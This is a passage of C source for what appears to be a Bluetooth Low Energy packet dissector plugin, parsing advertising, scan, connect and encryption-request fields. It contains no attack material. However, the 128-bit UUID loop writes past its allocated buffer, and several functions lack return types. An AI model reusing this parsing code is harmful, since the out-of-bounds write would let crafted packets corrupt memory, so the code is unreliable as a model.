i++)\n\t{\n\t\tif (map & ((guint64)1 << i))\n\t\t{\n\t\t\tsprintf(format_pointer, \"%2d, \", i);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tsprintf(format_pointer, \"  , \", i);\n\t\t}\n\t\t// format_pointer = (i<10) ? format_pointer+3 : format_pointer+4;\n\t\tformat_pointer = format_pointer+4;\n\t}\n\tproto_tree_add_text(map_tree, tvb, offset, 5, &format[0]);\n}\n\n\nproto_tree* add_adv_data_attr(proto_tree* tree, tvbuff_t* tvb, const int hf, const guint8 length, const guint enc)\n{\n\tproto_item* attr_item;\n\tproto_tree* attr_tree;\n\tguint8 type;\n\tattr_item = proto_tree_add_item(tree, hf, tvb, 2, length-1, enc);\n\tattr_tree = proto_item_add_subtree(attr_item, ett_adv_data_flags);\n\t\n\ttype = tvb_get_guint8(tvb, 1);\n\t\n\tproto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\tif (hf == hf_btle_adv_data_unknown)\n\t{\n\t\tproto_tree_add_uint_format_value(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, type, \"Unknown type (%#2x)\", type);\n\t}\n\telse\n\t{\n\t\tproto_tree_add_uint(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, type);\n\t}\n\t// proto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, enc);\n\t\n\treturn attr_tree;\n}\n\n// void\n// dissect_service_data(proto_tree *tree, tvbuff_t *tvb, length)\n// {\n// }\n\nvoid\ndissect_adv_data_attr(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo)\n{\n\t// proto_item* attr_length_item;\n\t// proto_item* attr_type_item;\n\t// proto_item* attr_value_item;\n\t// proto_item* attr_value_string_item;\n\t// proto_item* attr_item;\n\tproto_tree* attr_tree;\n\tint i;\n\tguint8* name;\n\tguint8* uuids;\n\tgint8 tx_power;\n\tgfloat min_interval, max_interval, adv_interval, tmp;\n\tguint16 max_interval_raw;\n\t// guint8 temp_uuid[16];\n\twmem_allocator_t* epan_scope_mem_pool;\n\tguint8 address[6];\n\n\t\n\tguint8 length, type;\n\t\n\tlength = tvb_get_guint8(tvb, 0);\n\ttype = tvb_get_guint8(tvb, 1);\n\t\n\t// if (type == 0 || type == 11 || type == 12 || type == 19 || (type > 26 && type != 255))\n\t\t// return;\n\n\t// attr_item \t\t = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 0, tvb_length(tvb), ENC_LITTLE_ENDIAN);\n\t// attr_tree \t\t = proto_item_add_subtree(attr_item, ett_adv_data_attr);\n\t\n\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t \n\t\n\tswitch(type){\n\t\tcase index_hf_btle_adv_data_flags:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_adv_data_flags);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_simultaneous_le_br_edr_host, \t\t tvb, 3*8 - 5, 1, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_simultaneous_le_br_edr_controller, tvb, 3*8 - 4, 1, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_br_edr_not_supported, \t\t\t tvb, 3*8 - 3, 1, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_le_general_discoverable, \t\t\t tvb, 3*8 - 2, 1, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_bits_item(attr_tree, hf_btle_adv_data_flag_le_limited_discoverable, \t\t\t tvb, 3*8 - 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_com_128b_uuids:\n\t\tcase index_hf_btle_adv_data_inc_128b_uuids:\n\t\tcase index_hf_btle_adv_data_128b_service_uuids:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tepan_scope_mem_pool = wmem_epan_scope();\n\t\t\tuuids = wmem_alloc(epan_scope_mem_pool, length);\n\t\t\tfor (i = 2; i < length; i += 16)\n\t\t\t{\n\t\t\t\ttvb_memcpy(tvb, &uuids[i], i, 16);\n\t\t\t\treverse_byte_order_inplace(&uuids[i], 16);\n\t\t\t\tproto_tree_add_bytes(attr_tree, hf_btle_128b_uuid, tvb, i, 16, &uuids[i]);\n\t\t\t} \n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_com_32b_uuids:\n\t\tcase index_hf_btle_adv_data_inc_32b_uuids:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tfor (i = 2; i < length; i += 4)\n\t\t\t{\n\t\t\t\tproto_tree_add_item(attr_tree, hf_btle_32b_uuid, tvb, i, 4, ENC_LITTLE_ENDIAN);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_com_16b_uuids:\n\t\tcase index_hf_btle_adv_data_inc_16b_uuids:\n\t\tcase index_hf_btle_adv_data_16b_service_uuids:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tfor (i = 2; i < length; i += 2)\n\t\t\t{\n\t\t\t\tproto_tree_add_item(attr_tree, hf_btle_16b_uuid, tvb, i, 2, ENC_LITTLE_ENDIAN);\n\t\t\t}\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_short_local_name:\n\t\tcase index_hf_btle_adv_data_com_local_name:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_UTF_8);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_UTF_8);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_UTF_8);\n\t\t\tepan_scope_mem_pool = wmem_epan_scope();\n\t\t\tname = wmem_alloc(epan_scope_mem_pool, length);\n\t\t\ttvb_memcpy(tvb, name, 2, length-1);\n\t\t\tname[length-1] = '\\0';\n\t\t\tSET_ADDRESS(&pinfo->src, AT_STRINGZ, length, name);\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_service_data:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_16b_uuid, tvb, 2, 2, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_service_data_value, tvb, 4, length-3, ENC_LITTLE_ENDIAN);\t\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_service_data_32b:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_32b_uuid, tvb, 2, 4, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_service_data_value, tvb, 6, length-5, ENC_LITTLE_ENDIAN);\t\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_service_data_128b:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_128b_uuid, tvb, 2, 16, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_service_data_value, tvb, 18, length-17, ENC_LITTLE_ENDIAN);\t\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_conn_int_range:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tmin_interval = (gfloat)tvb_get_letohs(tvb, 2) * (gfloat)1.25;\n\t\t\tmax_interval_raw = tvb_get_letohs(tvb, 4);\n\t\t\tif (max_interval_raw == 0xFFFF)\n\t\t\t{\n\t\t\t\ttmp = 0.0;\n\t\t\t\tmax_interval = (gfloat)1.0/tmp;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tmax_interval = (gfloat)max_interval_raw * (gfloat)1.25;\n\t\t\t}\n\t\t\tproto_tree_add_float(attr_tree, hf_btle_min_interval, tvb, 2, 2, min_interval);\n\t\t\tproto_tree_add_float(attr_tree, hf_btle_max_interval, tvb, 4, 2, max_interval);\n\t\t\tbreak;\n\n\n\t\tcase index_hf_btle_adv_data_tx_power:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\ttx_power = tvb_get_guint8(tvb, 2);\n\t\t\ttx_power -= 127;\n\t\t\tproto_tree_add_int(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, 1, tx_power);\n\t\t\tbreak;\n\t\t// case index_hf_btle_adv_data_dev_class:\n\t\t// case index_hf_btle_adv_data_pair_hash_c:\n\t\t// case index_hf_btle_adv_data_pair_rand_r:\n\t\t// case index_hf_btle_adv_data_dev_id:\n\t\t// case index_hf_btle_adv_data_sec_man_oob_flags:\n\t\tcase index_hf_btle_adv_data_pub_target_addr:\n\t\tcase index_hf_btle_adv_data_rand_target_addr:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\ttvb_memcpy(tvb, &address[0], 2, 6);\n\t\t\treverse_byte_order_inplace(address, 6);\n\t\t\tproto_tree_add_ether(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, 1, address);\n\t\t\tbreak;\n\t\tcase index_hf_btle_adv_data_adv_int:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tadv_interval = (gfloat)tvb_get_letohs(tvb, 2) * (gfloat)0.625;\n\t\t\tproto_tree_add_float(attr_tree, hf_btle_adv_data_adv_int_ms, tvb, 2, 2, adv_interval);\n\t\t\tbreak;\n\t\t\n\t\tcase index_hf_btle_adv_data_appearance:\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_attrs[type], length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_adv_data_attrs[type], tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\tbreak;\n\t\t\t\n\t\tcase 255:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_manufacturer, tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_manufacturer, length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_adv_data_manufacturer, tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\tbreak;\n\t\tdefault:\n\t\t\t// attr_item = proto_tree_add_item(tree, hf_btle_adv_data_unknown, tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_tree = proto_item_add_subtree(attr_item, ett_uuids);\n\t\t\t// attr_length_item = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_length, tvb, 0, 1, ENC_LITTLE_ENDIAN);\n\t\t\t// attr_type_item \t = proto_tree_add_item(attr_tree, hf_btle_adv_data_attr_type, tvb, 1, 1, ENC_LITTLE_ENDIAN);\n\t\t\tattr_tree = add_adv_data_attr(tree, tvb, hf_btle_adv_data_unknown, length, ENC_LITTLE_ENDIAN);\n\t\t\tproto_tree_add_item(attr_tree, hf_btle_adv_data_unknown, tvb, 2, length-1, ENC_LITTLE_ENDIAN);\n\t\t\tbreak;\n\t}\n}\n\nvoid\ndissect_adv_data(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo)\n{\n\tguint i;\n\t// proto_item* adv_data_item;\n\t// proto_tree* adv_data_tree;\n\t\n\t\n\t\n\tfor (i = 0; i < tvb_length(tvb); i += tvb_get_guint8(tvb, i) + 1)\n\t{\n\t\ttvbuff_t* attr_tvb;\n\t\tguint8 length;\n\t\t\n\t\tlength = tvb_get_guint8(tvb, i) + 1; /* <length> + the length byte itself */\n\t\tattr_tvb = tvb_new_subset(tvb, i, length, length);\n\t\t\n\t\tdissect_adv_data_attr(tree, attr_tvb, pinfo);\n\t}\n\n\t\n}\n\nvoid\ndissect_adv_ind_or_nonconn_or_scan(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, int datalen)\n{\n\t// const guint8 *adv_addr;\n\t// guint64 adv_addr;\n\t// guint i;\n\tproto_item* data_item;\n\tproto_tree* data_tree;\n\ttvbuff_t* data_tvb;\n\tguint8* adv_addr_le;\n\tguint8* adv_addr_be;\n\twmem_allocator_t* epan_scope_mem_pool;\n\n\tepan_scope_mem_pool = wmem_epan_scope();\n\tadv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tadv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\t\n\tDISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);\n\n\ttvb_memcpy(tvb, adv_addr_le, offset, 6);\n\treverse_byte_order(adv_addr_be, adv_addr_le, 6); /* little endian -> big endian for display/filter purposes */\n\tSET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be);\n\tSET_ADDRESS(&pinfo->dst, AT_STRINGZ, nondirect_dst_string_length, nondirect_dst);\n\n\tproto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be);\n\tdata_item = proto_tree_add_item(tree, hf_btle_adv_data, tvb, offset + 6, datalen, ENC_LITTLE_ENDIAN);\n\tdata_tree = proto_item_add_subtree(data_item, ett_adv_data);\n\t\n\tdata_tvb = tvb_new_subset(tvb, offset + 6, datalen, datalen);\n\t\n\tdissect_adv_data(data_tree, data_tvb, pinfo);\n}\n\nvoid\ndissect_adv_direct_ind(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset)\n{\n\tguint8 *adv_addr_le, *init_addr_le;\n\tguint8 *adv_addr_be, *init_addr_be;\n\twmem_allocator_t* epan_scope_mem_pool;\n\n\tDISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);\n\t\n\tepan_scope_mem_pool = wmem_epan_scope();\n\tadv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tadv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\tinit_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tinit_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\n\ttvb_memcpy(tvb, adv_addr_le, offset, 6);\n\treverse_byte_order(adv_addr_be, adv_addr_le, 6);\n\tSET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be);\n\ttvb_memcpy(tvb, init_addr_le, offset+6, 6);\n\treverse_byte_order(init_addr_be, init_addr_le, 6);\n\tSET_ADDRESS(&pinfo->dst, AT_ETHER, 6, init_addr_be);\n\n\tproto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be);\n\tproto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset + 6, 6, init_addr_be);\n}\n\nvoid\ndissect_scan_req(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset)\n{\n\n\tguint8 *adv_addr_le, *scan_addr_le;\n\tguint8 *adv_addr_be, *scan_addr_be;\n\twmem_allocator_t* epan_scope_mem_pool;\n\n\tDISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);\n\t\n\tepan_scope_mem_pool = wmem_epan_scope();\n\tadv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tadv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\tscan_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tscan_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\n\ttvb_memcpy(tvb, scan_addr_le, offset, 6);\n\treverse_byte_order(scan_addr_be, scan_addr_le, 6);\n\tSET_ADDRESS(&pinfo->src, AT_ETHER, 6, scan_addr_be);\n\ttvb_memcpy(tvb, adv_addr_le, offset+6, 6);\n\treverse_byte_order(adv_addr_be, adv_addr_le, 6);\n\tSET_ADDRESS(&pinfo->dst, AT_ETHER, 6, adv_addr_be);\n\n\tproto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset, 6, scan_addr_be);\n\tproto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset + 6, 6, adv_addr_be);\n\t// offset += 12;\n}\n\nvoid\ndissect_scan_rsp(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset, int datalen)\n{\n\tproto_item* data_item;\n\tproto_tree* data_tree;\n\ttvbuff_t* data_tvb;\n\tguint8* adv_addr_le;\n\tguint8* adv_addr_be;\n\twmem_allocator_t* epan_scope_mem_pool;\n\n\tepan_scope_mem_pool = wmem_epan_scope();\n\tadv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tadv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\n\tDISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);\n\n\ttvb_memcpy(tvb, adv_addr_le, offset, 6);\n\treverse_byte_order(adv_addr_be, adv_addr_le, 6); /* little endian -> big endian for display/filter purposes */\n\tSET_ADDRESS(&pinfo->src, AT_ETHER, 6, adv_addr_be);\n\tSET_ADDRESS(&pinfo->dst, AT_STRINGZ, nondirect_dst_string_length, nondirect_dst);\n\n\tproto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset, 6, adv_addr_be);\n\t\n\tdata_item = proto_tree_add_item(tree, hf_btle_scan_rsp_data, tvb, offset + 6, datalen, ENC_LITTLE_ENDIAN);\n\tdata_tree = proto_item_add_subtree(data_item, ett_adv_data);\n\t\n\tdata_tvb = tvb_new_subset(tvb, offset + 6, datalen, datalen);\n\t\n\tdissect_adv_data(data_tree, data_tvb, pinfo);\n}\n\nvoid\ndissect_connect_req(proto_tree *tree, tvbuff_t *tvb, packet_info *pinfo, int offset)\n{\n\tproto_item *connect_item;\n\tproto_tree *connect_tree;\n\tguint8 *adv_addr_le, *init_addr_le;\n\tguint8 *adv_addr_be, *init_addr_be;\n\tgint16 conn_timeout;\n\tfloat window_size, window_offset, conn_interval;\n\twmem_allocator_t* epan_scope_mem_pool;\n\n\tDISSECTOR_ASSERT(tvb_length_remaining(tvb, offset) >= 1);\n\t\n\tepan_scope_mem_pool = wmem_epan_scope();\n\tadv_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tadv_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\tinit_addr_le = wmem_alloc(epan_scope_mem_pool, 6);\n\tinit_addr_be = wmem_alloc(epan_scope_mem_pool, 6);\n\n\ttvb_memcpy(tvb, init_addr_le, offset, 6);\n\treverse_byte_order(init_addr_be, init_addr_le, 6);\n\tSET_ADDRESS(&pinfo->src, AT_ETHER, 6, init_addr_be);\n\ttvb_memcpy(tvb, adv_addr_le, offset+6, 6);\n\treverse_byte_order(adv_addr_be, adv_addr_le, 6);\n\tSET_ADDRESS(&pinfo->dst, AT_ETHER, 6, adv_addr_be);\n\n\tproto_tree_add_ether(tree, hf_btle_init_addr, tvb, offset, 6, init_addr_be);\n\tproto_tree_add_ether(tree, hf_btle_adv_addr, tvb, offset + 6, 6, adv_addr_be);\n\toffset += 12;\n\n\tconnect_item = proto_tree_add_item(tree, hf_btle_connect, tvb, offset, 22, ENC_LITTLE_ENDIAN);\n\tconnect_tree = proto_item_add_subtree(connect_item, ett_btle_connect);\n\t\n\twindow_size \t= (float)(tvb_get_guint8(tvb, offset+ 7)*1.25);\n\twindow_offset \t= (float)(((gint)tvb_get_guint8(tvb, offset+ 8) + (gint)(tvb_get_guint8(tvb, offset+ 9) << 8))*1.25);\n\tconn_interval \t= (float)(((gint)tvb_get_guint8(tvb, offset+ 10) + (gint)(tvb_get_guint8(tvb, offset+ 11) << 8))*1.25);\n\tconn_timeout \t= ((gint16)tvb_get_guint8(tvb, offset+ 14) + (gint16)(tvb_get_guint8(tvb, offset+ 15) << 8))*10;\n\n\tproto_tree_add_item (connect_tree, hf_btle_connect_aa,\ttvb, offset+ 0, 4, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item (connect_tree, hf_btle_crc_init,\ttvb, offset+ 4, 3, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_float(connect_tree, hf_btle_win_size,\ttvb, offset+ 7, 1, window_size);\n\tproto_tree_add_float(connect_tree, hf_btle_win_offset,\ttvb, offset+ 8, 2, window_offset);\n\tproto_tree_add_float(connect_tree, hf_btle_interval,\ttvb, offset+10, 2, conn_interval);\n\tproto_tree_add_item (connect_tree, hf_btle_latency,\t\ttvb, offset+12, 2, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_uint (connect_tree, hf_btle_timeout,\t\ttvb, offset+14, 2, conn_timeout);\n\tdissect_channel_map(connect_tree, tvb, offset+16);\n\tproto_tree_add_bits_item(connect_tree, hf_btle_hop_interval, tvb, ((offset + 21) * 8) + 3, 5, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_bits_item(connect_tree, hf_btle_sleep_clock_accuracy, tvb, (offset + 21) * 8, 3, ENC_LITTLE_ENDIAN);\n\t\n}\n\nvoid\ndissect_ll_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\t// proto_item *ll_enc_req_item;\n\t// proto_tree *ll_enc_req_tree;\n\n\t// ll_enc_req_item = proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req, tvb, offset + 1, 22, ENC_LITTLE_ENDIAN);\n\t// ll_enc_req_tree = proto_item_add_subtree(ll_enc_req_item, ett_ll_enc_req);\n\n\t// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_rand, tvb, offset + 1,  8, ENC_LITTLE_ENDIAN);\n\t// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_ediv, tvb, offset + 9,  2, ENC_LITTLE_ENDIAN);\n\t// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_skdm, tvb, offset + 11, 8, ENC_LITTLE_ENDIAN);\n\t// proto_tree_add_item(ll_enc_req_tree, hf_btle_ll_control_ll_enc_req_ivm,  tvb, offset + 19, 4, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_rand, tvb, offset + 1,  8, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_ediv, tvb, offset + 9,  2, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_skdm, tvb, offset + 11, 8, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item(tree, hf_btle_ll_control_ll_enc_req_ivm,  tvb, offset + 19, 4, ENC_LITTLE_ENDIAN);\n}\n\nvoid\ndissect_ll_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\t// proto_item *ll_enc_rsp_item;\n\t// proto_tree *ll_enc_rsp_tree;\n\n\t// ll_enc_rsp_item = proto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp, tvb, offset + 1, 12, ENC_LITTLE_ENDIAN);\n\t// ll_enc_rsp_tree = proto_item_add_subtree(ll_enc_rsp_item, ett_ll_enc_rsp);\n\n\t// proto_tree_add_item(ll_enc_rsp_tree, hf_btle_ll_control_ll_enc_rsp_skds, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN);\n\t// proto_tree_add_item(ll_enc_rsp_tree, hf_btle_ll_control_ll_enc_rsp_ivs,  tvb, offset + 9, 4, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp_skds, tvb, offset + 1, 8, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_item(tree, hf_btle_ll_control_ll_enc_rsp_ivs,  tvb, offset + 9, 4, ENC_LITTLE_ENDIAN);\n}\n\ndissect_ll_conn_update_req(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tfloat window_size, window_offset, conn_interval;\n\tgint16 conn_timeout;\n\t\n\twindow_size = (float)(tvb_get_guint8(tvb, offset+ 1)*1.25);\n\twindow_offset = (float)(((gint)tvb_get_guint8(tvb, offset+ 2) + (gint)(tvb_get_guint8(tvb, offset+ 3) << 8))*1.25);\n\tconn_interval = (float)(((gint)tvb_get_guint8(tvb, offset+ 4) + (gint)(tvb_get_guint8(tvb, offset+ 5) << 8))*1.25);\n\tconn_timeout = ((gint16)tvb_get_guint8(tvb, offset+ 8) + (gint16)(tvb_get_guint8(tvb, offset+ 9) << 8))*10;\n\n\tproto_tree_add_float(tree, hf_btle_win_size,\ttvb, offset+ 1, 1, window_size);\n\tproto_tree_add_float(tree, hf_btle_win_offset,\ttvb, offset+ 2, 2, window_offset);\n\tproto_tree_add_float(tree, hf_btle_interval,\ttvb, offset+ 4, 2, conn_interval);\n\tproto_tree_add_item (tree, hf_btle_latency,\t\ttvb, offset+ 6, 2, ENC_LITTLE_ENDIAN);\n\tproto_tree_add_uint (tree, hf_btle_timeout,\t\ttvb, offset+ 8, 2, conn_timeout);\n\tproto_tree_add_item (tree, hf_btle_instant,\t\ttvb, offset+10, 2, ENC_LITTLE_ENDIAN);\n\t\n}\n\ndissect_ll_channel_map_req(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\t// proto_tree_add_item (tree, hf_btle_channel_map,\ttvb, offset+ 1, 5, ENC_LITTLE_ENDIAN);\n\tdissect_channel_map(tree, tvb, offset+1);\n\tproto_tree_add_item (tree, hf_btle_instant,\t\ttvb, offset+ 6, 2, ENC_LITTLE_ENDIAN);\n}\n\ndissect_ll_terminate_ind(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tproto_tree_add_item (tree, hf_btle_error_code,\ttvb, offset+ 1, 1, ENC_LITTLE_ENDIAN);\n}\n\ndissect_ll_start_enc_req(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\n}\n\ndissect_ll_start_enc_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\n}\n\ndissect_ll_unknown_rsp(proto_tree *tree, tvbuff_t *tvb, int offset)\n{\n\tproto_tree_add_item (tree, hf_btle_unknown_type,\ttvb, offset+ 1, 1, 